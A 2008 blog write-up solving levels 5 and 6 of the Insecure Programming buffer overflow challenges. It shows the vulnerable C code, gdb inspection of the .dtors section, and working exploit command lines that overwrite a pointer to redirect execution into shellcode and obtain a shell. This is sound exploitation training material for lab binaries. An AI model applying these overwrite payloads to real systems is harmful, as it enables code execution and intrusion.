9/19/2008

Advanced Buffer Overflows Revolutions

It's been a long summer break since I last posted here. I thought there would be no break this summer but after some hardcore sessions at the Euskal Encounter 16 I felt I needed one. Yet again, I'll cover some levels of the Insecure Programming challenges by gera from Core SDI. Last time we covered levels up to 4 in the Advanced Buffer Overflows section. This time around, we'll go for the fifth and sixth levels. But first of all, a small news in the matter: Apparently levels 7 and 8 take advantage of certain setups of the different sections in memory to be able to corrupt the buffers and they need to be compiled with old versions of gcc(2.x.x), thus will not be featured here.

Time for some binary fun then. Let's take a look at level 5 and see what can be done:
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
for (;*pbuf++=*(argc[2]++););
exit(1);
}
At first look the only thing we can overrun in this case is the buf buffer. But what can we overwrite and with what purpose? Well, pbuf pointer is right next to buf in the stack as local variable so that's clearly a target. Now that we acquired a target, what can we do with it? If we take a close look at the for sequence right after the call to strcpy() we notice that actually it's a custom implementation of a strcpy() call in which we control both parameters.

The path is clear then, we'll smash the pbuf pointer so that we can write wherever we want in memory. The only thing left now is to choose what to and where to write; we have different successful choices here. We can overwrite the GOT entry for the exit() call or we can also go for the executable destructors in the .dtors section of the binary. In this particular case, I'll go for the latter because it's a route I've never took before. First we need to find the address of the particular area in the .dtors section we want to overwrite. Some research within gdb will do the job:

0x080495fc->0x08049604 at 0x000005fc: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x08049604->0x0804960c at 0x00000604: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x0804960c->0x08049610 at 0x0000060c: .jcr ALLOC LOAD DATA HAS_CONTENTS


(gdb) x/x 0x08049604
0x8049604 <__dtor_list__>: 0xffffffff
(gdb) x/x 0x08049608
0x8049608 <__dtor_end__>: 0x00000000


Thus, the address we want overwrite is 0x8049608 which will become sort of a jump pad to where we want to execute. And where do we want to execute? In our shellcode, naturally. As we did in the previous solutions, we will use abo1exp and thus load the shellcode in a environment variable with a known address within memory; 0xbfffff40. Here's the resulting call:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo5 `python -c 'print "A"*268+"\x08\x96\x04\x08"+" \x40\xff\xff\xbf"'`

sh-3.00$


Now into level 6 then. This is how it looks:
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
Both strcpy() make it look simple, but that's not the case (not at least compared to all the previous levels). We can clearly write wherever we want in memory, but notice that after we managed to overwrite there's a infinite loop in there, hence, the "what to overwrite" requires a special approach. Since strcpy() itself is a function call, everytime we call it, we go for the traditional function prelude in the assembler level, storing the ret value in the stack.

Our test system isn't running any kind of stack randomization patch nor anything so we can guess beforehand in what address the ret value will be stored and write there. Since the writing process will become effective inside the strcpy() implementation, the ret value will be already stored and no smashing will happen from the normal flow of the program. I want to stress here that the call that does the trick is the second one, the first call to strcpy() just gives us control over the pbuf pointer.

The main difficulty in this case was finding the exact address of the ret value. In my case I used different values and analized core dumps (remember to set "ulimit -c unlimited" to get core dumps) to find it. The address turned out to be 0xbfffee8c thus making the call pretty straightforward:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo6 `python -c 'print "A"*268+"\x8c\xee\xff\xbf"+" \x40\xff\xff\xbf"'`

sh-3.0


As a final note for this level, when the binary was compiled using the -ggdb flag for debugging, the exploit didn't work outside gdb and the ret address was smashed in a byte of the whole dword(thanks to erg0t for enlightening me on this one :-).

So that was it, hopefully I can get back on track with these challenges in a more regular schedule now with the beginning of the new academic year. Hope you enjoyed it as much as I did and don't forget to keep adding NOPs!

No comments: